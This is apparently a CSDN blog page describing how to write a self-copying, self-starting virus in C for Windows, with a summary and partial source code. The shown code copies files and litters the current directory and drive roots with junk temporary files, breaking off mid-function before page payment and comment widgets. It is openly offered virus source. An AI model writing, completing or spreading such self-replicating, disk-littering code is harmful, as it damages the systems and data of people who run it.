C病毒读写,自我启动复制

这篇博客详细探讨了如何使用C语言编写病毒代码,实现文件的读写操作,让病毒能够自我复制,并在Windows环境下自动启动。通过讲解关键的路径处理、文件指针、结构体和函数的应用,揭示了病毒自我传播的机制。
摘要由CSDN通过智能技术生成

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
          FILE *in,*out;
          in = fopen(infile,"r");
          out = fopen(outfile,"w");
          while (!feof(in))
          {
              fputc(fgetc(in),out);
          }
          fclose(in);
          fclose(out);
}
/*
This function        named Rubbishmaker.
*/
void MakeRubbish()
{
          int i;    
          FILE *fp;
          char *path;
          char *NewName;
          char *disk[7] = {"A","B","C","D","E","F","G"};
          char *addtion = ":\\";
          /* Make some rubbish at the current catalogue */
          for (i = 0; i<5; i++)
          {
              char tempname[] = "XXXXXX" ;
              NewName = mktemp(tempname);
              fp = fopen(NewName,"w");
              fclose(fp);
          }

/* make some rubbish at the root catalogue */
          path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
          chdir(path); /*change directory according to the "path" */
          for (i = 0; i<5; i++)
          {
              char
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值